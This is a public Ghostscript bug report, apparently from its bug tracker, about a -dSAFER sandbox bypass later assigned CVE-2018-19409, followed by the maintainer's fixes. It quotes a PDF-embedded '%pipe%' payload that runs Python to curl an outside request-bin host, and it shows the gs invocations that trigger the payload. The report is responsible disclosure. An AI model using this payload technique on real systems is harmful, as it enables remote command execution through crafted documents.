Bug 700176

Summary: -dSAFER bypass
Product: Ghostscript Reporter: Arkadiy Tetelman <ghostscript>
Component: Security (public)Assignee: Chris Liddell (chrisl) <chris.liddell>
Status: RESOLVED FIXED    
Severity: critical CC: cbuissar, dr, ghostscript, jens.a.mueller, jsmeix, mosvald, till.kamppeter
Priority: P4    
Version: unspecified   
Hardware: PC   
OS: Linux   
Customer: Word Size: ---
Attachments: Malicious pdf
Decompressed version with a less invasive payload

Description Arkadiy Tetelman 2018-11-14 02:45:17 UTC
Created attachment 16186 [details]
Malicious pdf

Hi,

I work at a print-and-mail company and we have received the following issue through our bug bounty program. After a lot of investigating and sleuthing we've been able to get the following minimal reproduction case, which I believe is a bug/0day in Ghostscript.

The attached pdf file contains a python payload to:
%pipe%python -c 'import subprocess;p=subprocess.call(["curl","https://request-bin-1239.herokuapp.com/xk3llsxk"])'

This makes a request to the following "requestbin" (which records and lets you inspect all requests it receives):
https://request-bin-1239.herokuapp.com/xk3llsxk?inspect

We're seeing that invoking gs with -dSAFER correctly does not execute the payload:
```
bash-4.2# gs -DSAFER /tmp/ltr_61435b3cbc5676fa.pdf
GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
Processing pages 1 through 1.
Page 1
false
   **** Error reading a content stream. The page may be incomplete.
               Output may be incorrect.
   **** Error: Form stream has unbalanced q/Q operators (too many q's)
               Output may be incorrect.
   **** Error reading a content stream. The page may be incomplete.
               Output may be incorrect.
   **** Error reading a content stream. The page may be incomplete.
               Output may be incorrect.
   **** Error: File did not complete the page properly and may be damaged.
               Output may be incorrect.
Error: /rangecheck in --pdfshowpage_finish--
Operand stack:
   --dict:7/15(L)--   1   false   --dict:3/3(L)--   --dict:80/90(ro)(L)--   8   --nostringval--   -1   --nostringval--
Execution stack:
   %interp_exit   .runexec2   --nostringval--   pdfshowpage_finish   --nostringval--   2   %stopped_push   --nostringval--   pdfshowpage_finish   pdfshowpage_finish   false   1   %stopped_push   2027   1   3   %oparray_pop   2026   1   3   %oparray_pop   2007   1   3   %oparray_pop   2008   1   3   %oparray_pop   pdfshowpage_finish   pdfshowpage_finish   2   1   1   pdfshowpage_finish   %for_pos_int_continue   2011   1   7   %oparray_pop   pdfshowpage_finish   pdfshowpage_finish   false   1   %stopped_push   pdfshowpage_finish
Dictionary stack:
   --dict:952/1684(ro)(G)--   --dict:1/20(G)--   --dict:83/200(L)--   --dict:83/200(L)--   --dict:133/256(ro)(G)--   --dict:311/450(ro)(G)--   --dict:33/64(L)--   --dict:6/9(L)--   --dict:6/20(L)--   --dict:1/1(ro)(G)--   --dict:1/1(ro)(G)--   --dict:1/1(ro)(G)--   --dict:1/1(ro)(G)--
Current allocation mode is local
Last OS error: No such file or directory
GPL Ghostscript GIT PRERELEASE 9.26: Unrecoverable error, exit code 1
```
i.e. running the command above will *not* make a new request appear in the linked requestbin.

However invoking the script with -dSAFER and -sDEVICE=pngalpha (or anecdotally any device besides pdfwrite) bypasses dSAFER and invokes the payload:

```
bash-4.2# gs -sDEVICE=pngalpha -DSAFER /tmp/ltr_61435b3cbc5676fa.pdf
GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
Processing pages 1 through 1.
Page 1
```
After invoking this command if you refresh the requestbin you will see that a new request has been made (i.e. the payload executed).


Ghostscript Version:
```
bash-4.2# /app/bin/gs -v
GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)
```
(After the multiple RCEs by Google Project Zero and in the absence of a new ghostscript release containing the fixes, we built it ourselves off of commit 1d2a714c9ac3f5cbca0015dbfbfa2fbcb5620fbe).
Comment 1 Chris Liddell (chrisl) 2018-11-14 08:00:37 UTC
Created attachment 16187 [details]
Decompressed version with a less invasive payload
Comment 2 Chris Liddell (chrisl) 2018-11-14 10:42:22 UTC
Fixed in:
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=661e8d8fb824
Comment 3 Arkadiy Tetelman 2018-11-14 19:16:18 UTC
It doesn't seem fixed to me - we built off of 965a557 and ghostscript no longer executes your uncompressed PoC (ltr_61435b3cbc5676fa-uc.pdf) but still *does* execute our original PoC (ltr_61435b3cbc5676fa.pdf)
Comment 4 Chris Liddell (chrisl) 2018-11-14 22:13:52 UTC
(In reply to Arkadiy Tetelman from comment #3)
> It doesn't seem fixed to me - we built off of 965a557 and ghostscript no
> longer executes your uncompressed PoC (ltr_61435b3cbc5676fa-uc.pdf) but
> still *does* execute our original PoC (ltr_61435b3cbc5676fa.pdf)

Yes, the fix was incomplete - a subtlety I missed the first time around.

I have a solution, but I want to discuss it with one of my colleagues before committing it.
Comment 5 Chris Liddell (chrisl) 2018-11-15 09:06:40 UTC
The commit linked above, and then this commit:

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=ea1b3ef437

fix this issue.
Comment 6 Arkadiy Tetelman 2018-11-15 21:01:29 UTC
Confirmed! Thank you for the speedy fix
Comment 7 Chris Liddell (chrisl) 2018-11-21 15:44:03 UTC
This is CVE-2018-19409